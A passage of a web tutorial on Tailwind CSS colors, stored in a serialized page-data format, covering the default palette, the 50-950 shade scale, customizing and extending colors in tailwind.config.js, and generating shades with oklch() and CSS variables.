",[143,300075,300076],{},"slate",[143,300078,300079],{},"gray",[143,300081,300082],{},"zinc",[143,300084,300085],{},"neutral",[143,300087,300088],{},"stone",[143,300090,12651],{},[143,300092,300093],{},"orange",[143,300095,300096],{},"amber",[143,300098,300099],{},"yellow",[143,300101,300102],{},"lime",[143,300104,50599],{},[143,300106,300107],{},"emerald",[143,300109,300110],{},"teal",[143,300112,9569],{},[143,300114,300115],{},"sky",[143,300117,50596],{},[143,300119,300120],{},"indigo",[143,300122,300123],{},"violet",[143,300125,300126],{},"purple",[143,300128,300129],{},"fuchsia",[143,300131,300132],{},"pink",[143,300134,300135],{},"rose",". Each color comes with 11 shades ranging from ",[143,300138,18059],{}," (lightest) to ",[143,300141,199840],{}," (darkest).",[135,300144,300146],{"className":6417,"code":300145,"language":6419,"meta":141,"style":141},"\u003C!-- Using default Tailwind colors -->\n\u003Cbutton class=\"bg-blue-500 text-white hover:bg-blue-600\">\n  Default Blue Button\n\u003C\u002Fbutton>\n\n\u003Cdiv class=\"text-slate-700 dark:text-slate-300\">\n  Text with dark mode support\n\u003C\u002Fdiv>\n",[143,300147,300148,300153,300168,300173,300181,300185,300200,300205],{"__ignoreMap":141},[1560,300149,300150],{"class":1562,"line":1563},[1560,300151,300152],{"class":1649},"\u003C!-- Using default Tailwind colors -->\n",[1560,300154,300155,300157,300159,300161,300163,300166],{"class":1562,"line":337},[1560,300156,6431],{"class":1570},[1560,300158,12250],{"class":2484},[1560,300160,11423],{"class":1566},[1560,300162,7297],{"class":1570},[1560,300164,300165],{"class":5634},"\"bg-blue-500 text-white hover:bg-blue-600\"",[1560,300167,6441],{"class":1570},[1560,300169,300170],{"class":1562,"line":343},[1560,300171,300172],{"class":1570},"  Default Blue Button\n",[1560,300174,300175,300177,300179],{"class":1562,"line":365},[1560,300176,11242],{"class":1570},[1560,300178,12250],{"class":2484},[1560,300180,6441],{"class":1570},[1560,300182,300183],{"class":1562,"line":889},[1560,300184,1702],{"emptyLinePlaceholder":363},[1560,300186,300187,300189,300191,300193,300195,300198],{"class":1562,"line":1710},[1560,300188,6431],{"class":1570},[1560,300190,7291],{"class":2484},[1560,300192,11423],{"class":1566},[1560,300194,7297],{"class":1570},[1560,300196,300197],{"class":5634},"\"text-slate-700 dark:text-slate-300\"",[1560,300199,6441],{"class":1570},[1560,300201,300202],{"class":1562,"line":1717},[1560,300203,300204],{"class":1570},"  Text with dark mode support\n",[1560,300206,300207,300209,300211],{"class":1562,"line":1747},[1560,300208,11242],{"class":1570},[1560,300210,7291],{"class":2484},[1560,300212,6441],{"class":1570},[11,300214,300216],{"id":300215},"the-anatomy-of-a-tailwind-color-scale","The Anatomy of a Tailwind Color Scale",[16,300218,300219],{},"Each Tailwind color follows a consistent 50-950 scale with 11 steps:",[135,300221,300223],{"className":1554,"code":300222,"language":1556,"meta":141,"style":141},"\u002F* Tailwind's blue palette structure *\u002F\n--blue-50: #eff6ff;   \u002F* Very light tint *\u002F\n--blue-100: #dbeafe;\n--blue-200: #bfdbfe;\n--blue-300: #93c5fd;\n--blue-400: #60a5fa;\n--blue-500: #3b82f6;  \u002F* Primary brand color (reference point) *\u002F\n--blue-600: #2563eb;\n--blue-700: #1d4ed8;\n--blue-800: #1e40af;\n--blue-900: #1e3a8a;\n--blue-950: #172554;  \u002F* Very dark shade *\u002F\n",[143,300224,300225,300230,300241,300249,300257,300267,300276,300288,300297,300306,300315,300324],{"__ignoreMap":141},[1560,300226,300227],{"class":1562,"line":1563},[1560,300228,300229],{"class":1649},"\u002F* Tailwind's blue palette structure *\u002F\n",[1560,300231,300232,300235,300238],{"class":1562,"line":337},[1560,300233,300234],{"class":1570},"--blue-50: ",[1560,300236,300237],{"class":5159},"#eff6ff;",[1560,300239,300240],{"class":1649},"   \u002F* Very light tint *\u002F\n",[1560,300242,300243,300246],{"class":1562,"line":343},[1560,300244,300245],{"class":1570},"--blue-100: ",[1560,300247,300248],{"class":5159},"#dbeafe;\n",[1560,300250,300251,300254],{"class":1562,"line":365},[1560,300252,300253],{"class":1570},"--blue-200: ",[1560,300255,300256],{"class":5159},"#bfdbfe;\n",[1560,300258,300259,300262,300265],{"class":1562,"line":889},[1560,300260,300261],{"class":1570},"--blue-300: ",[1560,300263,300264],{"class":5159},"#93c5fd",[1560,300266,2228],{"class":1570},[1560,300268,300269,300272,300274],{"class":1562,"line":1710},[1560,300270,300271],{"class":1570},"--blue-400: ",[1560,300273,46138],{"class":5159},[1560,300275,2228],{"class":1570},[1560,300277,300278,300281,300283,300285],{"class":1562,"line":1717},[1560,300279,300280],{"class":1570},"--blue-500: ",[1560,300282,4147],{"class":5159},[1560,300284,3409],{"class":1570},[1560,300286,300287],{"class":1649},"\u002F* Primary brand color (reference point) *\u002F\n",[1560,300289,300290,300293,300295],{"class":1562,"line":1747},[1560,300291,300292],{"class":1570},"--blue-600: ",[1560,300294,4162],{"class":5159},[1560,300296,2228],{"class":1570},[1560,300298,300299,300302,300304],{"class":1562,"line":2507},[1560,300300,300301],{"class":1570},"--blue-700: ",[1560,300303,4292],{"class":5159},[1560,300305,2228],{"class":1570},[1560,300307,300308,300311,300313],{"class":1562,"line":2524},[1560,300309,300310],{"class":1570},"--blue-800: ",[1560,300312,113789],{"class":5159},[1560,300314,2228],{"class":1570},[1560,300316,300317,300320,300322],{"class":1562,"line":2529},[1560,300318,300319],{"class":1570},"--blue-900: ",[1560,300321,109235],{"class":5159},[1560,300323,2228],{"class":1570},[1560,300325,300326,300329,300332,300334],{"class":1562,"line":2534},[1560,300327,300328],{"class":1570},"--blue-950: ",[1560,300330,300331],{"class":5159},"#172554",[1560,300333,3409],{"class":1570},[1560,300335,300336],{"class":1649},"\u002F* Very dark shade *\u002F\n",[33,300338,300340],{"id":300339},"why-50-950","Why 50-950?",[16,300342,300343],{},"The numbering system is intentional:",[41,300345,300346,300352,300358,300364,300370],{},[44,300347,300348,300351],{},[47,300349,300350],{},"50-100",": Background tints, subtle highlights",[44,300353,300354,300357],{},[47,300355,300356],{},"200-300",": Borders, dividers, disabled states",[44,300359,300360,300363],{},[47,300361,300362],{},"400-500",": Primary interactive elements (buttons, links)",[44,300365,300366,300369],{},[47,300367,300368],{},"600-700",": Hover\u002Factive states for 400-500",[44,300371,300372,300375],{},[47,300373,300374],{},"800-950",": Text colors, dark backgrounds",[16,300377,300378],{},"This scale gives you enough granularity for accessible designs while remaining manageable.",[11,300380,300382],{"id":300381},"customizing-colors-in-tailwindconfigjs","Customizing Colors in tailwind.config.js",[16,300384,300385,300386,300389],{},"To customize your color palette, modify the ",[143,300387,300388],{},"theme.colors"," section in your Tailwind configuration:",[135,300391,300393],{"className":1607,"code":300392,"language":1609,"meta":141,"style":141},"\u002F\u002F tailwind.config.js\nmodule.exports = {\n  theme: {\n    extend: {\n      colors: {\n        \u002F\u002F Add a custom brand color\n        brand: {\n          50: '#eff6ff',\n          100: '#dbeafe',\n          200: '#bfdbfe',\n          300: '#93c5fd',\n          400: '#60a5fa',\n          500: '#3b82f6',\n          600: '#2563eb',\n          700: '#1d4ed8',\n          800: '#1e40af',\n          900: '#1e3a8a',\n          950: '#172554',\n        }\n      }\n    }\n  }\n}\n",[143,300394,300395,300399,300411,300415,300419,300423,300428,300432,300443,300454,300465,300476,300487,300498,300508,300519,300530,300541,300552,300556,300560,300564,300568],{"__ignoreMap":141},[1560,300396,300397],{"class":1562,"line":1563},[1560,300398,92454],{"class":1649},[1560,300400,300401,300403,300405,300407,300409],{"class":1562,"line":337},[1560,300402,11885],{"class":1576},[1560,300404,468],{"class":1570},[1560,300406,11890],{"class":1576},[1560,300408,8186],{"class":1669},[1560,300410,1571],{"class":1570},[1560,300412,300413],{"class":1562,"line":343},[1560,300414,17530],{"class":1570},[1560,300416,300417],{"class":1562,"line":365},[1560,300418,92475],{"class":1570},[1560,300420,300421],{"class":1562,"line":889},[1560,300422,92480],{"class":1570},[1560,300424,300425],{"class":1562,"line":1710},[1560,300426,300427],{"class":1649},"        \u002F\u002F Add a custom brand color\n",[1560,300429,300430],{"class":1562,"line":1717},[1560,300431,199395],{"class":1570},[1560,300433,300434,300436,300438,300441],{"class":1562,"line":1747},[1560,300435,199400],{"class":1576},[1560,300437,1663],{"class":1570},[1560,300439,300440],{"class":5634},"'#eff6ff'",[1560,300442,11943],{"class":1570},[1560,300444,300445,300447,300449,300452],{"class":1562,"line":2507},[1560,300446,199412],{"class":1576},[1560,300448,1663],{"class":1570},[1560,300450,300451],{"class":5634},"'#dbeafe'",[1560,300453,11943],{"class":1570},[1560,300455,300456,300458,300460,300463],{"class":1562,"line":2524},[1560,300457,199424],{"class":1576},[1560,300459,1663],{"class":1570},[1560,300461,300462],{"class":5634},"'#bfdbfe'",[1560,300464,11943],{"class":1570},[1560,300466,300467,300469,300471,300474],{"class":1562,"line":2529},[1560,300468,199436],{"class":1576},[1560,300470,1663],{"class":1570},[1560,300472,300473],{"class":5634},"'#93c5fd'",[1560,300475,11943],{"class":1570},[1560,300477,300478,300480,300482,300485],{"class":1562,"line":2534},[1560,300479,199448],{"class":1576},[1560,300481,1663],{"class":1570},[1560,300483,300484],{"class":5634},"'#60a5fa'",[1560,300486,11943],{"class":1570},[1560,300488,300489,300491,300493,300496],{"class":1562,"line":2542},[1560,300490,199460],{"class":1576},[1560,300492,1663],{"class":1570},[1560,300494,300495],{"class":5634},"'#3b82f6'",[1560,300497,11943],{"class":1570},[1560,300499,300500,300502,300504,300506],{"class":1562,"line":2558},[1560,300501,199471],{"class":1576},[1560,300503,1663],{"class":1570},[1560,300505,199668],{"class":5634},[1560,300507,11943],{"class":1570},[1560,300509,300510,300512,300514,300517],{"class":1562,"line":2570},[1560,300511,199483],{"class":1576},[1560,300513,1663],{"class":1570},[1560,300515,300516],{"class":5634},"'#1d4ed8'",[1560,300518,11943],{"class":1570},[1560,300520,300521,300523,300525,300528],{"class":1562,"line":6638},[1560,300522,199495],{"class":1576},[1560,300524,1663],{"class":1570},[1560,300526,300527],{"class":5634},"'#1e40af'",[1560,300529,11943],{"class":1570},[1560,300531,300532,300534,300536,300539],{"class":1562,"line":11615},[1560,300533,199507],{"class":1576},[1560,300535,1663],{"class":1570},[1560,300537,300538],{"class":5634},"'#1e3a8a'",[1560,300540,11943],{"class":1570},[1560,300542,300543,300545,300547,300550],{"class":1562,"line":11621},[1560,300544,199519],{"class":1576},[1560,300546,1663],{"class":1570},[1560,300548,300549],{"class":5634},"'#172554'",[1560,300551,11943],{"class":1570},[1560,300553,300554],{"class":1562,"line":11633},[1560,300555,50039],{"class":1570},[1560,300557,300558],{"class":1562,"line":11638},[1560,300559,28244],{"class":1570},[1560,300561,300562],{"class":1562,"line":11672},[1560,300563,11612],{"class":1570},[1560,300565,300566],{"class":1562,"line":19435},[1560,300567,4959],{"class":1570},[1560,300569,300570],{"class":1562,"line":19442},[1560,300571,1585],{"class":1570},[33,300573,300575],{"id":300574},"replacing-vs-extending","Replacing vs Extending",[16,300577,300578],{},"Tailwind offers two approaches:",[16,300580,300581,300584],{},[47,300582,300583],{},"1. Extend (recommended)",": Add to the default palette",[135,300586,300588],{"className":1607,"code":300587,"language":1609,"meta":141,"style":141},"theme: {\n  extend: {\n    colors: {\n      brand: { \u002F* your colors *\u002F }\n    }\n  }\n}\n\u002F\u002F Result: You keep all default colors + your custom ones\n",[143,300589,300590,300597,300604,300611,300623,300627,300631,300635],{"__ignoreMap":141},[1560,300591,300592,300595],{"class":1562,"line":1563},[1560,300593,300594],{"class":1566},"theme",[1560,300596,37098],{"class":1570},[1560,300598,300599,300602],{"class":1562,"line":337},[1560,300600,300601],{"class":1566},"  extend",[1560,300603,37098],{"class":1570},[1560,300605,300606,300609],{"class":1562,"line":343},[1560,300607,300608],{"class":1566},"    colors",[1560,300610,37098],{"class":1570},[1560,300612,300613,300616,300618,300621],{"class":1562,"line":365},[1560,300614,300615],{"class":1566},"      brand",[1560,300617,199586],{"class":1570},[1560,300619,300620],{"class":1649},"\u002F* your colors *\u002F",[1560,300622,27879],{"class":1570},[1560,300624,300625],{"class":1562,"line":889},[1560,300626,11612],{"class":1570},[1560,300628,300629],{"class":1562,"line":1710},[1560,300630,4959],{"class":1570},[1560,300632,300633],{"class":1562,"line":1717},[1560,300634,1585],{"class":1570},[1560,300636,300637],{"class":1562,"line":1747},[1560,300638,300639],{"class":1649},"\u002F\u002F Result: You keep all default colors + your custom ones\n",[16,300641,300642,300645],{},[47,300643,300644],{},"2. Replace",": Override the entire color system",[135,300647,300649],{"className":1607,"code":300648,"language":1609,"meta":141,"style":141},"theme: {\n  colors: {\n    brand: { \u002F* your colors only *\u002F }\n  }\n}\n\u002F\u002F Result: Default colors are removed, only your colors remain\n",[143,300650,300651,300657,300664,300676,300680,300684],{"__ignoreMap":141},[1560,300652,300653,300655],{"class":1562,"line":1563},[1560,300654,300594],{"class":1566},[1560,300656,37098],{"class":1570},[1560,300658,300659,300662],{"class":1562,"line":337},[1560,300660,300661],{"class":1566},"  colors",[1560,300663,37098],{"class":1570},[1560,300665,300666,300669,300671,300674],{"class":1562,"line":343},[1560,300667,300668],{"class":1566},"    brand",[1560,300670,199586],{"class":1570},[1560,300672,300673],{"class":1649},"\u002F* your colors only *\u002F",[1560,300675,27879],{"class":1570},[1560,300677,300678],{"class":1562,"line":365},[1560,300679,4959],{"class":1570},[1560,300681,300682],{"class":1562,"line":889},[1560,300683,1585],{"class":1570},[1560,300685,300686],{"class":1562,"line":1710},[1560,300687,300688],{"class":1649},"\u002F\u002F Result: Default colors are removed, only your colors remain\n",[11,300690,300692],{"id":300691},"creating-a-complete-50-950-scale","Creating a Complete 50-950 Scale",[16,300694,300695],{},"When building a custom color scale, you need to generate 11 shades that maintain consistent perceptual progression. Here are three approaches:",[33,300697,300699],{"id":300698},"method-1-use-an-online-palette-generator","Method 1: Use an Online Palette Generator",[16,300701,35185,300702,1531,300707,300712],{},[98,300703,300706],{"href":300704,"rel":300705},"https:\u002F\u002Ftailwind.simeongriggs.dev\u002F",[14956],"Tailwind Color Shades Generator",[98,300708,300711],{"href":300709,"rel":300710},"https:\u002F\u002Fhypercolor.dev\u002F",[14956],"Hypercolor"," can generate a full scale from a single base color.",[33,300714,300716],{"id":300715},"method-2-use-oklch-for-precision","Method 2: Use oklch() for Precision",[16,300718,300719,300720,300722],{},"Modern CSS's ",[143,300721,51040],{}," function makes it easy to create perceptually uniform scales:",[135,300724,300726],{"className":1607,"code":300725,"language":1609,"meta":141,"style":141},"\u002F\u002F Calculate programmatically\nfunction generatePalette(baseLightness, baseChroma, baseHue) {\n  return {\n    50: `oklch(${Math.min(baseLightness + 35, 98)}% ${baseChroma * 0.3} ${baseHue})`,\n    100: `oklch(${Math.min(baseLightness + 30, 95)}% ${baseChroma * 0.4} ${baseHue})`,\n    200: `oklch(${Math.min(baseLightness + 20, 90)}% ${baseChroma * 0.5} ${baseHue})`,\n    300: `oklch(${Math.min(baseLightness + 10, 80)}% ${baseChroma * 0.7} ${baseHue})`,\n    400: `oklch(${baseLightness + 5}% ${baseChroma * 0.85} ${baseHue})`,\n    500: `oklch(${baseLightness}% ${baseChroma} ${baseHue})`, \u002F\u002F Reference\n    600: `oklch(${Math.max(baseLightness - 10, 20)}% ${baseChroma} ${baseHue})`,\n    700: `oklch(${Math.max(baseLightness - 20, 15)}% ${baseChroma} ${baseHue})`,\n    800: `oklch(${Math.max(baseLightness - 30, 10)}% ${baseChroma * 0.95} ${baseHue})`,\n    900: `oklch(${Math.max(baseLightness - 40, 8)}% ${baseChroma * 0.9} ${baseHue})`,\n    950: `oklch(${Math.max(baseLightness - 50, 5)}% ${baseChroma * 0.85} ${baseHue})`,\n  }\n}\n\n\u002F\u002F Example: Generate a blue palette\nconst brandBlue = generatePalette(60, 0.2, 264)\n",[143,300727,300728,300733,300757,300763,300810,300856,300901,300946,300978,301004,301045,301086,301132,301178,301223,301227,301231,301235,301240],{"__ignoreMap":141},[1560,300729,300730],{"class":1562,"line":1563},[1560,300731,300732],{"class":1649},"\u002F\u002F Calculate programmatically\n",[1560,300734,300735,300737,300740,300742,300745,300747,300750,300752,300755],{"class":1562,"line":337},[1560,300736,8648],{"class":1669},[1560,300738,300739],{"class":1566}," generatePalette",[1560,300741,1688],{"class":1570},[1560,300743,300744],{"class":2219},"baseLightness",[1560,300746,1459],{"class":1570},[1560,300748,300749],{"class":2219},"baseChroma",[1560,300751,1459],{"class":1570},[1560,300753,300754],{"class":2219},"baseHue",[1560,300756,9345],{"class":1570},[1560,300758,300759,300761],{"class":1562,"line":343},[1560,300760,9350],{"class":1669},[1560,300762,1571],{"class":1570},[1560,300764,300765,300767,300769,300772,300774,300776,300778,300780,300782,300784,300786,300788,300790,300792,300795,300797,300799,300802,300804,300806,300808],{"class":1562,"line":365},[1560,300766,35962],{"class":1576},[1560,300768,1663],{"class":1570},[1560,300770,300771],{"class":5634},"`oklch(${",[1560,300773,28990],{"class":1570},[1560,300775,468],{"class":5634},[1560,300777,28995],{"class":1566},[1560,300779,1688],{"class":5634},[1560,300781,300744],{"class":1570},[1560,300783,29002],{"class":1669},[1560,300785,35978],{"class":1576},[1560,300787,1459],{"class":5634},[1560,300789,35985],{"class":1576},[1560,300791,1525],{"class":5634},[1560,300793,300794],{"class":5634},"}% ${",[1560,300796,300749],{"class":1570},[1560,300798,8064],{"class":1669},[1560,300800,300801],{"class":1576}," 0.3",[1560,300803,199954],{"class":5634},[1560,300805,300754],{"class":1570},[1560,300807,29059],{"class":5634},[1560,300809,11943],{"class":1570},[1560,300811,300812,300815,300817,300819,300821,300823,300825,300827,300829,300831,300833,300835,300837,300839,300841,300843,300845,300848,300850,300852,300854],{"class":1562,"line":889},[1560,300813,300814],{"class":1576},"    100",[1560,300816,1663],{"class":1570},[1560,300818,300771],{"class":5634},[1560,300820,28990],{"class":1570},[1560,300822,468],{"class":5634},[1560,300824,28995],{"class":1566},[1560,300826,1688],{"class":5634},[1560,300828,300744],{"class":1570},[1560,300830,29002],{"class":1669},[1560,300832,35504],{"class":1576},[1560,300834,1459],{"class":5634},[1560,300836,49777],{"class":1576},[1560,300838,1525],{"class":5634},[1560,300840,300794],{"class":5634},[1560,300842,300749],{"class":1570},[1560,300844,8064],{"class":1669},[1560,300846,300847],{"class":1576}," 0.4",[1560,300849,199954],{"class":5634},[1560,300851,300754],{"class":1570},[1560,300853,29059],{"class":5634},[1560,300855,11943],{"class":1570},[1560,300857,300858,300861,300863,300865,300867,300869,300871,300873,300875,300877,300879,300881,300883,300885,300887,300889,300891,300893,300895,300897,300899],{"class":1562,"line":1710},[1560,300859,300860],{"class":1576},"    200",[1560,300862,1663],{"class":1570},[1560,300864,300771],{"class":5634},[1560,300866,28990],{"class":1570},[1560,300868,468],{"class":5634},[1560,300870,28995],{"class":1566},[1560,300872,1688],{"class":5634},[1560,300874,300744],{"class":1570},[1560,300876,29002],{"class":1669},[1560,300878,45999],{"class":1576},[1560,300880,1459],{"class":5634},[1560,300882,24004],{"class":1576},[1560,300884,1525],{"class":5634},[1560,300886,300794],{"class":5634},[1560,300888,300749],{"class":1570},[1560,300890,8064],{"class":1669},[1560,300892,174683],{"class":1576},[1560,300894,199954],{"class":5634},[1560,300896,300754],{"class":1570},[1560,300898,29059],{"class":5634},[1560,300900,11943],{"class":1570},[1560,300902,300903,300906,300908,300910,300912,300914,300916,300918,300920,300922,300924,300926,300928,300930,300932,300934,300936,300938,300940,300942,300944],{"class":1562,"line":1717},[1560,300904,300905],{"class":1576},"    300",[1560,300907,1663],{"class":1570},[1560,300909,300771],{"class":5634},[1560,300911,28990],{"class":1570},[1560,300913,468],{"class":5634},[1560,300915,28995],{"class":1566},[1560,300917,1688],{"class":5634},[1560,300919,300744],{"class":1570},[1560,300921,29002],{"class":1669},[1560,300923,43241],{"class":1576},[1560,300925,1459],{"class":5634},[1560,300927,5321],{"class":1576},[1560,300929,1525],{"class":5634},[1560,300931,300794],{"class":5634},[1560,300933,300749],{"class":1570},[1560,300935,8064],{"class":1669},[1560,300937,174345],{"class":1576},[1560,300939,199954],{"class":5634},[1560,300941,300754],{"class":1570},[1560,300943,29059],{"class":5634},[1560,300945,11943],{"class":1570},[1560,300947,300948,300951,300953,300955,300957,300959,300961,300963,300965,300967,300970,300972,300974,300976],{"class":1562,"line":1747},[1560,300949,300950],{"class":1576},"    400",[1560,300952,1663],{"class":1570},[1560,300954,300771],{"class":5634},[1560,300956,300744],{"class":1570},[1560,300958,29002],{"class":1669},[1560,300960,28229],{"class":1576},[1560,300962,300794],{"class":5634},[1560,300964,300749],{"class":1570},[1560,300966,8064],{"class":1669},[1560,300968,300969],{"class":1576}," 0.85",[1560,300971,199954],{"class":5634},[1560,300973,300754],{"class":1570},[1560,300975,29059],{"class":5634},[1560,300977,11943],{"class":1570},[1560,300979,300980,300983,300985,300987,300989,300991,300993,300995,300997,300999,301001],{"class":1562,"line":2507},[1560,300981,300982],{"class":1576},"    500",[1560,300984,1663],{"class":1570},[1560,300986,300771],{"class":5634},[1560,300988,300744],{"class":1570},[1560,300990,300794],{"class":5634},[1560,300992,300749],{"class":1570},[1560,300994,199954],{"class":5634},[1560,300996,300754],{"class":1570},[1560,300998,29059],{"class":5634},[1560,301000,1459],{"class":1570},[1560,301002,301003],{"class":1649},"\u002F\u002F Reference\n",[1560,301005,301006,301009,301011,301013,301015,301017,301019,301021,301023,301025,301027,301029,301031,301033,301035,301037,301039,301041,301043],{"class":1562,"line":2524},[1560,301007,301008],{"class":1576},"    600",[1560,301010,1663],{"class":1570},[1560,301012,300771],{"class":5634},[1560,301014,28990],{"class":1570},[1560,301016,468],{"class":5634},[1560,301018,9396],{"class":1566},[1560,301020,1688],{"class":5634},[1560,301022,300744],{"class":1570},[1560,301024,22908],{"class":1669},[1560,301026,43241],{"class":1576},[1560,301028,1459],{"class":5634},[1560,301030,12391],{"class":1576},[1560,301032,1525],{"class":5634},[1560,301034,300794],{"class":5634},[1560,301036,300749],{"class":1570},[1560,301038,199954],{"class":5634},[1560,301040,300754],{"class":1570},[1560,301042,29059],{"class":5634},[1560,301044,11943],{"class":1570},[1560,301046,301047,301050,301052,301054,301056,301058,301060,301062,301064,301066,301068,301070,301072,301074,301076,301078,301080,301082,301084],{"class":1562,"line":2529},[1560,301048,301049],{"class":1576},"    700",[1560,301051,1663],{"class":1570},[1560,301053,300771],{"class":5634},[1560,301055,28990],{"class":1570},[1560,301057,468],{"class":5634},[1560,301059,9396],{"class":1566},[1560,301061,1688],{"class":5634},[1560,301063,300744],{"class":1570},[1560,301065,22908],{"class":1669},[1560,301067,45999],{"class":1576},[1560,301069,1459],{"class":5634},[1560,301071,14854],{"class":1576},[1560,301073,1525],{"class":5634},[1560,301075,300794],{"class":5634},[1560,301077,300749],{"class":1570},[1560,301079,199954],{"class":5634},[1560,301081,300754],{"class":1570},[1560,301083,29059],{"class":5634},[1560,301085,11943],{"class":1570},[1560,301087,301088,301091,301093,301095,301097,301099,301101,301103,301105,301107,301109,301111,301113,301115,301117,301119,301121,301124,301126,301128,301130],{"class":1562,"line":2534},[1560,301089,301090],{"class":1576},"    800",[1560,301092,1663],{"class":1570},[1560,301094,300771],{"class":5634},[1560,301096,28990],{"class":1570},[1560,301098,468],{"class":5634},[1560,301100,9396],{"class":1566},[1560,301102,1688],{"class":5634},[1560,301104,300744],{"class":1570},[1560,301106,22908],{"class":1669},[1560,301108,35504],{"class":1576},[1560,301110,1459],{"class":5634},[1560,301112,36197],{"class":1576},[1560,301114,1525],{"class":5634},[1560,301116,300794],{"class":5634},[1560,301118,300749],{"class":1570},[1560,301120,8064],{"class":1669},[1560,301122,301123],{"class":1576}," 0.95",[1560,301125,199954],{"class":5634},[1560,301127,300754],{"class":1570},[1560,301129,29059],{"class":5634},[1560,301131,11943],{"class":1570},[1560,301133,301134,301137,301139,301141,301143,301145,301147,301149,301151,301153,301155,301157,301159,301161,301163,301165,301167,301170,301172,301174,301176],{"class":1562,"line":2542},[1560,301135,301136],{"class":1576},"    900",[1560,301138,1663],{"class":1570},[1560,301140,300771],{"class":5634},[1560,301142,28990],{"class":1570},[1560,301144,468],{"class":5634},[1560,301146,9396],{"class":1566},[1560,301148,1688],{"class":5634},[1560,301150,300744],{"class":1570},[1560,301152,22908],{"class":1669},[1560,301154,18343],{"class":1576},[1560,301156,1459],{"class":5634},[1560,301158,10078],{"class":1576},[1560,301160,1525],{"class":5634},[1560,301162,300794],{"class":5634},[1560,301164,300749],{"class":1570},[1560,301166,8064],{"class":1669},[1560,301168,301169],{"class":1576}," 0.9",[1560,301171,199954],{"class":5634},[1560,301173,300754],{"class":1570},[1560,301175,29059],{"class":5634},[1560,301177,11943],{"class":1570},[1560,301179,301180,301183,301185,301187,301189,301191,301193,301195,301197,301199,301201,301203,301205,301207,301209,301211,301213,301215,301217,301219,301221],{"class":1562,"line":2558},[1560,301181,301182],{"class":1576},"    950",[1560,301184,1663],{"class":1570},[1560,301186,300771],{"class":5634},[1560,301188,28990],{"class":1570},[1560,301190,468],{"class":5634},[1560,301192,9396],{"class":1566},[1560,301194,1688],{"class":5634},[1560,301196,300744],{"class":1570},[1560,301198,22908],{"class":1669},[1560,301200,18318],{"class":1576},[1560,301202,1459],{"class":5634},[1560,301204,13431],{"class":1576},[1560,301206,1525],{"class":5634},[1560,301208,300794],{"class":5634},[1560,301210,300749],{"class":1570},[1560,301212,8064],{"class":1669},[1560,301214,300969],{"class":1576},[1560,301216,199954],{"class":5634},[1560,301218,300754],{"class":1570},[1560,301220,29059],{"class":5634},[1560,301222,11943],{"class":1570},[1560,301224,301225],{"class":1562,"line":2570},[1560,301226,4959],{"class":1570},[1560,301228,301229],{"class":1562,"line":6638},[1560,301230,1585],{"class":1570},[1560,301232,301233],{"class":1562,"line":11615},[1560,301234,1702],{"emptyLinePlaceholder":363},[1560,301236,301237],{"class":1562,"line":11621},[1560,301238,301239],{"class":1649},"\u002F\u002F Example: Generate a blue palette\n",[1560,301241,301242,301244,301247,301249,301251,301253,301255,301257,301259,301261,301264],{"class":1562,"line":11633},[1560,301243,8180],{"class":1669},[1560,301245,301246],{"class":1576}," brandBlue",[1560,301248,8186],{"class":1669},[1560,301250,300739],{"class":1566},[1560,301252,1688],{"class":1570},[1560,301254,18333],{"class":1576},[1560,301256,1459],{"class":1570},[1560,301258,18949],{"class":1576},[1560,301260,1459],{"class":1570},[1560,301262,301263],{"class":1576},"264",[1560,301265,8252],{"class":1570},[33,301267,301269],{"id":301268},"method-3-manual-adjustment-with-tools","Method 3: Manual Adjustment with Tools",[16,301271,301272],{},"Start with your brand's primary color (usually the 500 shade) and manually adjust:",[135,301274,301276],{"className":1607,"code":301275,"language":1609,"meta":141,"style":141},"\u002F\u002F Start with your brand color\nconst brand = {\n  500: '#3b82f6', \u002F\u002F Your primary brand color\n}\n\n\u002F\u002F Then use a tool to generate surrounding shades\n\u002F\u002F that maintain visual harmony\n",[143,301277,301278,301283,301294,301308,301312,301316,301321],{"__ignoreMap":141},[1560,301279,301280],{"class":1562,"line":1563},[1560,301281,301282],{"class":1649},"\u002F\u002F Start with your brand color\n",[1560,301284,301285,301287,301290,301292],{"class":1562,"line":337},[1560,301286,8180],{"class":1669},[1560,301288,301289],{"class":1576}," brand",[1560,301291,8186],{"class":1669},[1560,301293,1571],{"class":1570},[1560,301295,301296,301299,301301,301303,301305],{"class":1562,"line":343},[1560,301297,301298],{"class":1576},"  500",[1560,301300,1663],{"class":1570},[1560,301302,300495],{"class":5634},[1560,301304,1459],{"class":1570},[1560,301306,301307],{"class":1649},"\u002F\u002F Your primary brand color\n",[1560,301309,301310],{"class":1562,"line":365},[1560,301311,1585],{"class":1570},[1560,301313,301314],{"class":1562,"line":889},[1560,301315,1702],{"emptyLinePlaceholder":363},[1560,301317,301318],{"class":1562,"line":1710},[1560,301319,301320],{"class":1649},"\u002F\u002F Then use a tool to generate surrounding shades\n",[1560,301322,301323],{"class":1562,"line":1717},[1560,301324,301325],{"class":1649},"\u002F\u002F that maintain visual harmony\n",[11,301327,301329],{"id":301328},"integrating-with-css-custom-properties","Integrating with CSS Custom Properties",[16,301331,301332],{},"For maximum flexibility, especially with dark mode, use CSS variables:",[135,301334,301336],{"className":1607,"code":301335,"language":1609,"meta":141,"style":141},"\u002F\u002F tailwind.config.js\nmodule.exports = {\n  theme: {\n    extend: {\n      colors: {\n        \u002F\u002F Reference CSS variables\n        brand: {\n          50: 'rgb(var(--color-brand-50) \u002F \u003Calpha-value>)',\n          100: 'rgb(var(--color-brand-100) \u002F \u003Calpha-value>)',\n          200: 'rgb(var(--color-brand-200) \u002F \u003Calpha-value>)',\n          300: 'rgb(var(--color-brand-300) \u002F \u003Calpha-value>)',\n          400: 'rgb(var(--color-brand-400) \u002F \u003Calpha-value>)',\n          500: 'rgb(var(--color-brand-500) \u002F \u003Calpha-value>)',\n          600: 'rgb(var(--color-brand-600) \u002F \u003Calpha-value>)',\n          700: 'rgb(var(--color-brand-700) \u002F \u003Calpha-value>)',\n          800: 'rgb(var(--color-brand-800) \u002F \u003Calpha-value>)',\n          900: 'rgb(var(--color-brand-900) \u002F \u003Calpha-value>)',\n          950: 'rgb(var(--color-brand-950) \u002F \u003Calpha-value>)',\n        }\n      }\n    }\n  